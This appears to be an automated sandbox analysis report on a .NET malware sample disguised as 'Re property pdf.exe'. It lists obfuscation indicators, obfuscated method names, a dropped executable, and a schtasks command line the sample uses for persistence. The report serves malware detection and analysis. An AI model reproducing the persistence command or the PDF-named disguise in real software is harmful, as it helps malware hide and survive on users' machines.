Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: PresentationHost.pdbGCTL source: uGMCFMVqKoR.exe, 00000010.00000003.2118973099.0000000000A3B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uGMCFMVqKoR.exe, 00000010.00000002.4211703538.0000000000C2E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: wntdll.pdbUGP source: Re property pdf.exe, 00000006.00000002.2172585991.0000000000FD0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Re property pdf.exe, Re property pdf.exe, 00000006.00000002.2172585991.0000000000FD0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationHost.pdb source: uGMCFMVqKoR.exe, 00000010.00000003.2118973099.0000000000A3B000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, ntkhga1giMCKkUj49f.cs	.Net Code: oJG6iAV4YZ System.Reflection.Assembly.Load(byte[])
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, ntkhga1giMCKkUj49f.cs	.Net Code: oJG6iAV4YZ System.Reflection.Assembly.Load(byte[])
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, ntkhga1giMCKkUj49f.cs	.Net Code: oJG6iAV4YZ System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0041423E push ebp; iretd	6_2_00414252
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00411820 push ebx; retf 0001h	6_2_004118ED
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0041414E push 0000001Bh; ret	6_2_00414151
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00414129 push 0000001Bh; ret	6_2_00414151
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_004031F0 push eax; ret	6_2_004031F2
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00407202 push esp; iretd	6_2_00407203
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0041145C push edi; ret	6_2_004114BD
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0041146B push edi; ret	6_2_004114BD
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00415409 push cs; iretd	6_2_00415416
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_004085DF push edx; ret	6_2_004085E0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0042D5E3 push eax; ret	6_2_0042D685
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00414639 push cs; ret	6_2_0041463C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0040CFDC push eax; ret	6_2_0040CFDD
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00401F8B push es; ret	6_2_00401F8C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FD225F pushad ; ret	6_2_00FD27F9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FD27FA pushad ; ret	6_2_00FD27F9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010009AD push ecx; mov dword ptr [esp], ecx	6_2_010009B6
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FD283D push eax; iretd	6_2_00FD2858
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FD1368 push eax; iretd	6_2_00FD1369
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0185C54D pushfd ; ret	12_2_0185C54E
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018109AD push ecx; mov dword ptr [esp], ecx	12_2_018109B6
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0185C9D7 push edi; ret	12_2_0185C9D9
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_017E1366 push eax; iretd	12_2_017E1369
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_017E1FEC push eax; iretd	12_2_017E1FED
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01867E99 push ecx; ret	12_2_01867EAC
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0042D674 push eax; ret	12_2_0042D685
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0042D715 push D4ED8D44h; retf	12_2_0042D71A
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0597BDE0 push cs; iretd	16_2_0597BDED
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0596EE88 pushad ; retf	16_2_0596EE8B
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_05977E33 push edi; ret	16_2_05977E94
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_05977E42 push edi; ret	16_2_05977E94

Source: Re property pdf.exe	Static PE information: section name: .text entropy: 7.86751234729538
Source: hwOHPmqcegxcxb.exe.0.dr	Static PE information: section name: .text entropy: 7.86751234729538

Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, PgmkSv6ErVfCPqNwCN.cs	High entropy of concatenated method names: 'LSuSfeWwPl', 'XfkS15tlcG', 'AHlS0olrPO', 'OeISnyrICT', 'C3wSX18A7d', 'mL8SpHdoRa', 'f9cCU5W3Oq3ABINF67', 'WPaxJeemeT8AfwJmcL', 'Bx8SSm2Fpe', 'iTuSbu0R4D'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, lG0cDsVMiZvZHMNb00.cs	High entropy of concatenated method names: 'iKlkCQMMUY', 'eqJkWTD2cD', 'm8PkH1X7A1', 'fPLktxjILe', 'soKkJVBakm', 'jnQkfdIP3c', 'gu9k1oB9Mk', 'h3TkL7LYa1', 'wFTk0EWDep', 'UlGknPuPWo'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, xf4RKpzpK525TBZTtR.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'wLa9qV6gmU', 'j6g9XtGI4O', 'Bpx9pY4lY4', 'Wx99U5BEIn', 'I8r9kwV6R8', 'q9v99GP6jI', 'IIn9BplqVL'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, BGr2U7YHlolrPOaeIy.cs	High entropy of concatenated method names: 'oUjH7nFB5C', 'kFHH3ahlxw', 'G4iHZtAgBb', 'HhsHYenLtI', 'yn1HXorw2C', 'b1VHp6lLF5', 'kGPHUTpEVC', 'zeTHkhH47m', 'LO8H9w50Jl', 'nrgHB2PNHf'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, kjuJGoMYe2T0JEnCE3.cs	High entropy of concatenated method names: 'NR2kld3CbT', 'nNJkF3NB68', 'IYmk4uHPW4', 'wHMkyKo5i4', 'EoOksJ2Lgt', 'dE9kgaqUvr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, weWwPlZVfk5tlcGN3Y.cs	High entropy of concatenated method names: 'z62WsdIdTg', 'ztQW8mLuC9', 'hEZW2CZ9qi', 'a5xWrQghIj', 'w07WQMaxmy', 'troWetNnIr', 'Uh1WoWSsgb', 'OjcWVZeLli', 'unQWMVdkxl', 'vsBWP0tsT1'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, DNn5p4soX0GKBuqmbh.cs	High entropy of concatenated method names: 'yB1XvHPE33', 'xP8XOm7D4J', 'LdPXsBW4Ap', 'vioX8KcRSX', 'LfIXFS2bvt', 'dxRX4dNNhn', 'Eu9XyylppH', 'EycXghuQEZ', 'GpDXmmuUAd', 'VghXdwXCHd'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, hsM0fUPd5eRSTQBR3c.cs	High entropy of concatenated method names: 'dbJ9SpSwdD', 'HMq9boJXPk', 'H4V96RSsxR', 'sMc9CeMqyT', 'f0u9W3xJ9f', 'PJu9tfdr66', 'BM29JJtKGN', 'AZyko5xI2b', 'sULkVlSm2I', 'gZekMd4OLw'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, mihGmtGUwHCyDp2toL.cs	High entropy of concatenated method names: 'ELkigeGFV', 'fa57J5ECm', 'VQb3x3WMw', 'KnnD6iJf4', 'SIfYTDwjV', 'wLpxlKGUI', 'g0YwebpJGVoQXK8Iwp', 'sZeBZ1vkGqKnTP6ZRi', 'jYek8mB0c', 'PT6BxqAD2'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, gxCt1DjW5S79BIxSeC.cs	High entropy of concatenated method names: 'YLvqZ6eGjA', 'ICrqYBAAvc', 'f3kqlKiLhf', 'oklqFVLcsp', 'cSrqy6ZahJ', 'Fglqg2ZCW4', 'pZNqd6Q92W', 'wtKqKrjoWI', 'eRKqvHVd5C', 'HApqa99081'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, puSGRTW1eEyAnuCnAo.cs	High entropy of concatenated method names: 'Dispose', 'Qg8SM58MQl', 'Na9GFBwDFC', 'luOuuPp3eq', 'k0GSP0cDsM', 'zZvSzZHMNb', 'ProcessDialogKey', 'l01GTjuJGo', 'Ee2GST0JEn', 'fE3GGHsM0f'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, FqaNDsAmeevbvb9cux.cs	High entropy of concatenated method names: 'DmFfIltv02', 'rBlf5o7XbH', 'O24fioCeBn', 'TIOf7lCbH4', 'kqZfE0cBMt', 'cuVf3ic3xX', 'GIxfDTnl8d', 'T2CfZI0P6Z', 'DiGfYLu9hy', 'n89fxZU0rR'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, TICT0AxeHdoKa33w18.cs	High entropy of concatenated method names: 'A6DtEUBVAR', 'lKWtD2fK8Q', 'sT4H4wTDn1', 'XWMHy27Fb4', 'zmJHg6muem', 'InZHmYduvq', 'UR6HdkWGjc', 'oeeHKJbsmJ', 'AUSHAxTOQt', 'tqCHvS45Pm'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, GftEJASTFDGfv78DMAJ.cs	High entropy of concatenated method names: 'WEs9IfLfJt', 'X9f95MoXXs', 'RZd9iloUf1', 'iuF97Kw8MI', 'rY99EPbFh6', 'MAd938Mh9e', 'wo89D51HFk', 'PvN9ZHwjfp', 'W9P9Y7TTH6', 'JB49xFtvgl'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, Vmj5w627oHZ811Ubrc.cs	High entropy of concatenated method names: 'ToString', 'd1xpaLPRED', 'sMppFDMye5', 'n3mp47TWAI', 'BgIpy0QMt3', 'Pmfpg6pQ1q', 'ngBpm2ZmT6', 'VQbpdHgrcj', 'lPapKjrepG', 'adcpAnP4ud'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, DMj7SKSb6E9x1jiomqP.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DLFBs6J0VT', 'kDAB8O79qi', 'IUuB293KyN', 'UKaBrfxewq', 'fNTBQsK3Tg', 'jc1BeAYiKj', 'fPDBoEGdhP'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, ntkhga1giMCKkUj49f.cs	High entropy of concatenated method names: 'kpnbwACNuN', 'qA6bCYwc8c', 'JJfbWqqNS1', 'iOsbHPjCCB', 'w51bt4U2e3', 'VpnbJb4wWy', 'Gdvbf16WKd', 'XS6b1TQyuS', 'BWebLWttwp', 'tU1b0oEdVU'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, SfIMBKdykDOpRGjPCZ.cs	High entropy of concatenated method names: 'zOGfCUvXdw', 'h5nfH6EVis', 'GYHfJ5sBIG', 'qAdJP4igw4', 'cxwJz1QcZd', 'BOMfTD6v9J', 'nIefS1YwfN', 'GgJfGtpMwo', 'm3KfbqFdvX', 'IBcf6TvSRq'
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, M7d0L8lHdoRaQ2Ztmp.cs	High entropy of concatenated method names: 'rfkJwP1Zqa', 'E8fJW0rAi6', 'NBmJtOQ9h6', 'GiqJfZ9eAV', 'YH6J1SSAAb', 'm9OtQjTqOj', 'xJ6tevGm48', 's54touTkAP', 'tYLtVCknq2', 'u4ptMYbYX9'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, PgmkSv6ErVfCPqNwCN.cs	High entropy of concatenated method names: 'LSuSfeWwPl', 'XfkS15tlcG', 'AHlS0olrPO', 'OeISnyrICT', 'C3wSX18A7d', 'mL8SpHdoRa', 'f9cCU5W3Oq3ABINF67', 'WPaxJeemeT8AfwJmcL', 'Bx8SSm2Fpe', 'iTuSbu0R4D'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, lG0cDsVMiZvZHMNb00.cs	High entropy of concatenated method names: 'iKlkCQMMUY', 'eqJkWTD2cD', 'm8PkH1X7A1', 'fPLktxjILe', 'soKkJVBakm', 'jnQkfdIP3c', 'gu9k1oB9Mk', 'h3TkL7LYa1', 'wFTk0EWDep', 'UlGknPuPWo'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, xf4RKpzpK525TBZTtR.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'wLa9qV6gmU', 'j6g9XtGI4O', 'Bpx9pY4lY4', 'Wx99U5BEIn', 'I8r9kwV6R8', 'q9v99GP6jI', 'IIn9BplqVL'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, BGr2U7YHlolrPOaeIy.cs	High entropy of concatenated method names: 'oUjH7nFB5C', 'kFHH3ahlxw', 'G4iHZtAgBb', 'HhsHYenLtI', 'yn1HXorw2C', 'b1VHp6lLF5', 'kGPHUTpEVC', 'zeTHkhH47m', 'LO8H9w50Jl', 'nrgHB2PNHf'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, kjuJGoMYe2T0JEnCE3.cs	High entropy of concatenated method names: 'NR2kld3CbT', 'nNJkF3NB68', 'IYmk4uHPW4', 'wHMkyKo5i4', 'EoOksJ2Lgt', 'dE9kgaqUvr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, weWwPlZVfk5tlcGN3Y.cs	High entropy of concatenated method names: 'z62WsdIdTg', 'ztQW8mLuC9', 'hEZW2CZ9qi', 'a5xWrQghIj', 'w07WQMaxmy', 'troWetNnIr', 'Uh1WoWSsgb', 'OjcWVZeLli', 'unQWMVdkxl', 'vsBWP0tsT1'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, DNn5p4soX0GKBuqmbh.cs	High entropy of concatenated method names: 'yB1XvHPE33', 'xP8XOm7D4J', 'LdPXsBW4Ap', 'vioX8KcRSX', 'LfIXFS2bvt', 'dxRX4dNNhn', 'Eu9XyylppH', 'EycXghuQEZ', 'GpDXmmuUAd', 'VghXdwXCHd'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, hsM0fUPd5eRSTQBR3c.cs	High entropy of concatenated method names: 'dbJ9SpSwdD', 'HMq9boJXPk', 'H4V96RSsxR', 'sMc9CeMqyT', 'f0u9W3xJ9f', 'PJu9tfdr66', 'BM29JJtKGN', 'AZyko5xI2b', 'sULkVlSm2I', 'gZekMd4OLw'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, mihGmtGUwHCyDp2toL.cs	High entropy of concatenated method names: 'ELkigeGFV', 'fa57J5ECm', 'VQb3x3WMw', 'KnnD6iJf4', 'SIfYTDwjV', 'wLpxlKGUI', 'g0YwebpJGVoQXK8Iwp', 'sZeBZ1vkGqKnTP6ZRi', 'jYek8mB0c', 'PT6BxqAD2'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, gxCt1DjW5S79BIxSeC.cs	High entropy of concatenated method names: 'YLvqZ6eGjA', 'ICrqYBAAvc', 'f3kqlKiLhf', 'oklqFVLcsp', 'cSrqy6ZahJ', 'Fglqg2ZCW4', 'pZNqd6Q92W', 'wtKqKrjoWI', 'eRKqvHVd5C', 'HApqa99081'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, puSGRTW1eEyAnuCnAo.cs	High entropy of concatenated method names: 'Dispose', 'Qg8SM58MQl', 'Na9GFBwDFC', 'luOuuPp3eq', 'k0GSP0cDsM', 'zZvSzZHMNb', 'ProcessDialogKey', 'l01GTjuJGo', 'Ee2GST0JEn', 'fE3GGHsM0f'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, FqaNDsAmeevbvb9cux.cs	High entropy of concatenated method names: 'DmFfIltv02', 'rBlf5o7XbH', 'O24fioCeBn', 'TIOf7lCbH4', 'kqZfE0cBMt', 'cuVf3ic3xX', 'GIxfDTnl8d', 'T2CfZI0P6Z', 'DiGfYLu9hy', 'n89fxZU0rR'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, TICT0AxeHdoKa33w18.cs	High entropy of concatenated method names: 'A6DtEUBVAR', 'lKWtD2fK8Q', 'sT4H4wTDn1', 'XWMHy27Fb4', 'zmJHg6muem', 'InZHmYduvq', 'UR6HdkWGjc', 'oeeHKJbsmJ', 'AUSHAxTOQt', 'tqCHvS45Pm'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, GftEJASTFDGfv78DMAJ.cs	High entropy of concatenated method names: 'WEs9IfLfJt', 'X9f95MoXXs', 'RZd9iloUf1', 'iuF97Kw8MI', 'rY99EPbFh6', 'MAd938Mh9e', 'wo89D51HFk', 'PvN9ZHwjfp', 'W9P9Y7TTH6', 'JB49xFtvgl'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, Vmj5w627oHZ811Ubrc.cs	High entropy of concatenated method names: 'ToString', 'd1xpaLPRED', 'sMppFDMye5', 'n3mp47TWAI', 'BgIpy0QMt3', 'Pmfpg6pQ1q', 'ngBpm2ZmT6', 'VQbpdHgrcj', 'lPapKjrepG', 'adcpAnP4ud'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, DMj7SKSb6E9x1jiomqP.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DLFBs6J0VT', 'kDAB8O79qi', 'IUuB293KyN', 'UKaBrfxewq', 'fNTBQsK3Tg', 'jc1BeAYiKj', 'fPDBoEGdhP'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, ntkhga1giMCKkUj49f.cs	High entropy of concatenated method names: 'kpnbwACNuN', 'qA6bCYwc8c', 'JJfbWqqNS1', 'iOsbHPjCCB', 'w51bt4U2e3', 'VpnbJb4wWy', 'Gdvbf16WKd', 'XS6b1TQyuS', 'BWebLWttwp', 'tU1b0oEdVU'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, SfIMBKdykDOpRGjPCZ.cs	High entropy of concatenated method names: 'zOGfCUvXdw', 'h5nfH6EVis', 'GYHfJ5sBIG', 'qAdJP4igw4', 'cxwJz1QcZd', 'BOMfTD6v9J', 'nIefS1YwfN', 'GgJfGtpMwo', 'm3KfbqFdvX', 'IBcf6TvSRq'
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, M7d0L8lHdoRaQ2Ztmp.cs	High entropy of concatenated method names: 'rfkJwP1Zqa', 'E8fJW0rAi6', 'NBmJtOQ9h6', 'GiqJfZ9eAV', 'YH6J1SSAAb', 'm9OtQjTqOj', 'xJ6tevGm48', 's54touTkAP', 'tYLtVCknq2', 'u4ptMYbYX9'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, PgmkSv6ErVfCPqNwCN.cs	High entropy of concatenated method names: 'LSuSfeWwPl', 'XfkS15tlcG', 'AHlS0olrPO', 'OeISnyrICT', 'C3wSX18A7d', 'mL8SpHdoRa', 'f9cCU5W3Oq3ABINF67', 'WPaxJeemeT8AfwJmcL', 'Bx8SSm2Fpe', 'iTuSbu0R4D'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, lG0cDsVMiZvZHMNb00.cs	High entropy of concatenated method names: 'iKlkCQMMUY', 'eqJkWTD2cD', 'm8PkH1X7A1', 'fPLktxjILe', 'soKkJVBakm', 'jnQkfdIP3c', 'gu9k1oB9Mk', 'h3TkL7LYa1', 'wFTk0EWDep', 'UlGknPuPWo'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, xf4RKpzpK525TBZTtR.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'wLa9qV6gmU', 'j6g9XtGI4O', 'Bpx9pY4lY4', 'Wx99U5BEIn', 'I8r9kwV6R8', 'q9v99GP6jI', 'IIn9BplqVL'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, BGr2U7YHlolrPOaeIy.cs	High entropy of concatenated method names: 'oUjH7nFB5C', 'kFHH3ahlxw', 'G4iHZtAgBb', 'HhsHYenLtI', 'yn1HXorw2C', 'b1VHp6lLF5', 'kGPHUTpEVC', 'zeTHkhH47m', 'LO8H9w50Jl', 'nrgHB2PNHf'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, kjuJGoMYe2T0JEnCE3.cs	High entropy of concatenated method names: 'NR2kld3CbT', 'nNJkF3NB68', 'IYmk4uHPW4', 'wHMkyKo5i4', 'EoOksJ2Lgt', 'dE9kgaqUvr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, weWwPlZVfk5tlcGN3Y.cs	High entropy of concatenated method names: 'z62WsdIdTg', 'ztQW8mLuC9', 'hEZW2CZ9qi', 'a5xWrQghIj', 'w07WQMaxmy', 'troWetNnIr', 'Uh1WoWSsgb', 'OjcWVZeLli', 'unQWMVdkxl', 'vsBWP0tsT1'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, DNn5p4soX0GKBuqmbh.cs	High entropy of concatenated method names: 'yB1XvHPE33', 'xP8XOm7D4J', 'LdPXsBW4Ap', 'vioX8KcRSX', 'LfIXFS2bvt', 'dxRX4dNNhn', 'Eu9XyylppH', 'EycXghuQEZ', 'GpDXmmuUAd', 'VghXdwXCHd'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, hsM0fUPd5eRSTQBR3c.cs	High entropy of concatenated method names: 'dbJ9SpSwdD', 'HMq9boJXPk', 'H4V96RSsxR', 'sMc9CeMqyT', 'f0u9W3xJ9f', 'PJu9tfdr66', 'BM29JJtKGN', 'AZyko5xI2b', 'sULkVlSm2I', 'gZekMd4OLw'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, mihGmtGUwHCyDp2toL.cs	High entropy of concatenated method names: 'ELkigeGFV', 'fa57J5ECm', 'VQb3x3WMw', 'KnnD6iJf4', 'SIfYTDwjV', 'wLpxlKGUI', 'g0YwebpJGVoQXK8Iwp', 'sZeBZ1vkGqKnTP6ZRi', 'jYek8mB0c', 'PT6BxqAD2'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, gxCt1DjW5S79BIxSeC.cs	High entropy of concatenated method names: 'YLvqZ6eGjA', 'ICrqYBAAvc', 'f3kqlKiLhf', 'oklqFVLcsp', 'cSrqy6ZahJ', 'Fglqg2ZCW4', 'pZNqd6Q92W', 'wtKqKrjoWI', 'eRKqvHVd5C', 'HApqa99081'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, puSGRTW1eEyAnuCnAo.cs	High entropy of concatenated method names: 'Dispose', 'Qg8SM58MQl', 'Na9GFBwDFC', 'luOuuPp3eq', 'k0GSP0cDsM', 'zZvSzZHMNb', 'ProcessDialogKey', 'l01GTjuJGo', 'Ee2GST0JEn', 'fE3GGHsM0f'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, FqaNDsAmeevbvb9cux.cs	High entropy of concatenated method names: 'DmFfIltv02', 'rBlf5o7XbH', 'O24fioCeBn', 'TIOf7lCbH4', 'kqZfE0cBMt', 'cuVf3ic3xX', 'GIxfDTnl8d', 'T2CfZI0P6Z', 'DiGfYLu9hy', 'n89fxZU0rR'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, TICT0AxeHdoKa33w18.cs	High entropy of concatenated method names: 'A6DtEUBVAR', 'lKWtD2fK8Q', 'sT4H4wTDn1', 'XWMHy27Fb4', 'zmJHg6muem', 'InZHmYduvq', 'UR6HdkWGjc', 'oeeHKJbsmJ', 'AUSHAxTOQt', 'tqCHvS45Pm'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, GftEJASTFDGfv78DMAJ.cs	High entropy of concatenated method names: 'WEs9IfLfJt', 'X9f95MoXXs', 'RZd9iloUf1', 'iuF97Kw8MI', 'rY99EPbFh6', 'MAd938Mh9e', 'wo89D51HFk', 'PvN9ZHwjfp', 'W9P9Y7TTH6', 'JB49xFtvgl'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, Vmj5w627oHZ811Ubrc.cs	High entropy of concatenated method names: 'ToString', 'd1xpaLPRED', 'sMppFDMye5', 'n3mp47TWAI', 'BgIpy0QMt3', 'Pmfpg6pQ1q', 'ngBpm2ZmT6', 'VQbpdHgrcj', 'lPapKjrepG', 'adcpAnP4ud'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, DMj7SKSb6E9x1jiomqP.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DLFBs6J0VT', 'kDAB8O79qi', 'IUuB293KyN', 'UKaBrfxewq', 'fNTBQsK3Tg', 'jc1BeAYiKj', 'fPDBoEGdhP'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, ntkhga1giMCKkUj49f.cs	High entropy of concatenated method names: 'kpnbwACNuN', 'qA6bCYwc8c', 'JJfbWqqNS1', 'iOsbHPjCCB', 'w51bt4U2e3', 'VpnbJb4wWy', 'Gdvbf16WKd', 'XS6b1TQyuS', 'BWebLWttwp', 'tU1b0oEdVU'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, SfIMBKdykDOpRGjPCZ.cs	High entropy of concatenated method names: 'zOGfCUvXdw', 'h5nfH6EVis', 'GYHfJ5sBIG', 'qAdJP4igw4', 'cxwJz1QcZd', 'BOMfTD6v9J', 'nIefS1YwfN', 'GgJfGtpMwo', 'm3KfbqFdvX', 'IBcf6TvSRq'
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, M7d0L8lHdoRaQ2Ztmp.cs	High entropy of concatenated method names: 'rfkJwP1Zqa', 'E8fJW0rAi6', 'NBmJtOQ9h6', 'GiqJfZ9eAV', 'YH6J1SSAAb', 'm9OtQjTqOj', 'xJ6tevGm48', 's54touTkAP', 'tYLtVCknq2', 'u4ptMYbYX9'

Source: C:\Users\user\Desktop\Re property pdf.exe

File created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Re property pdf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp4EB6.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
